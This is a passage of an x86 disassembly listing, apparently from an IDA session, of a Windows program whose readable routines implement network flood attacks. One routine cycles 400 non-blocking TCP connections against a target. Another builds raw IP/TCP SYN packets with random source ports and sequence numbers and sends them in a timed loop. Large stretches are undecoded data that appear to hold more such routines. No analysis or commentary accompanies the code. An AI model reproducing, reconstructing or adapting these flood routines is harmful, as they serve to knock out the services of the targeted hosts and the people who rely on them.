		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------


loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB00C
		pop	esi


loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAECC
		mov	eax, ebx


loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax


loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0C9E85759h, 90022AD0h, 6AF44D8Dh,	0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF5415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A184o
		dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022AD0h, 0FFFE4885h,	15FF50FFh
		dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Ah, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DCE805C6h
		dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
		dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
		dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
		dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
		dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh,	0FF004CB0h
		dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435B8468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h
		dd 0FF90022Ah, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 22ACD7Ch
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
		dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
		dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 0CCBEE890h, 0C33B022Ah, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAE8Ch, 0C0753B46h,	75FFDA7Ch, 2C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22ACBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 48E89000h
		dd 500225D7h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0C868FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2ACB13E8h, 408B9002h
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0CF9FE890h
		dd 754E0224h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch,	82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Ah,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022AC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 2660545h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx


loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax


loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2AC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------


loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAF74
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAF74
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAF74
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 2750B7Fh
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2750B7Fh
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D44
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]


loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB00C
		pop	esi


loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAECC
		mov	eax, ebx


loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax


loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22AC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
		dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 5415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh,	0E2458966h
		dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CAFF4h
		dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch,	0FFFBC085h
		dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Ah, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
		dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22AC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 0E8905359h, 22AC014h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAF74h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
